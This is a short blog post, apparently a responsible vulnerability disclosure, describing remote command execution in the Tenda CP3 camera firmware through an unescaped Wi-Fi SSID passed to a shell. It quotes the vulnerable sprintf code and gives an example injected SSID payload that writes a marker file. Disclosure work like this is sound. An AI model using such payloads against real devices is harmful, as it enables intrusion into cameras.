243 words
1 minutes
RCE in Tenda CP3 camera

Vulnerability details
A Command Injection vulnerability has been discovered in the Tenda CP3 camera firmware (V11.10.00.2311090948
), in the sub_F3C8C
function of the apollo
binary.
CVSS 3.08.8 (HIGH)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerable code:
sprintf(s, "echo $(cat /proc/net/rtl8188fu/wlan0/survey_info | grep '%s' | awk '{print $4}')",
(const char *)&v31[1]);
The survey_info
file contains information about the nearest Wi-Fi:
Wi-Fi SSID (
v31[1]
) is inserted directly into the string, which is then executed.
The lack of validation or escaping allows the attacker to execute arbitrary commands through the camera’s connection to Wi-Fi with the malicious SSID.
Example malicious payload:
q';echo k3vg3n>/home/poc;echo '
Which would be interpreted as:
sprintf(s, "echo $(cat /proc/net/rtl8188fu/wlan0/survey_info | grep 'q';echo k3vg3n>/home/poc;echo '' | awk '{print $4}')",
(const char *)&v31[1]);
PoC
NOTEThe vulnerability has already been sent to the developer.
Author
Waiting for api.github.com...
RCE in Tenda CP3 camera
https://blog.kevgen.ru/posts/rce_in_tenda_cp3_camera/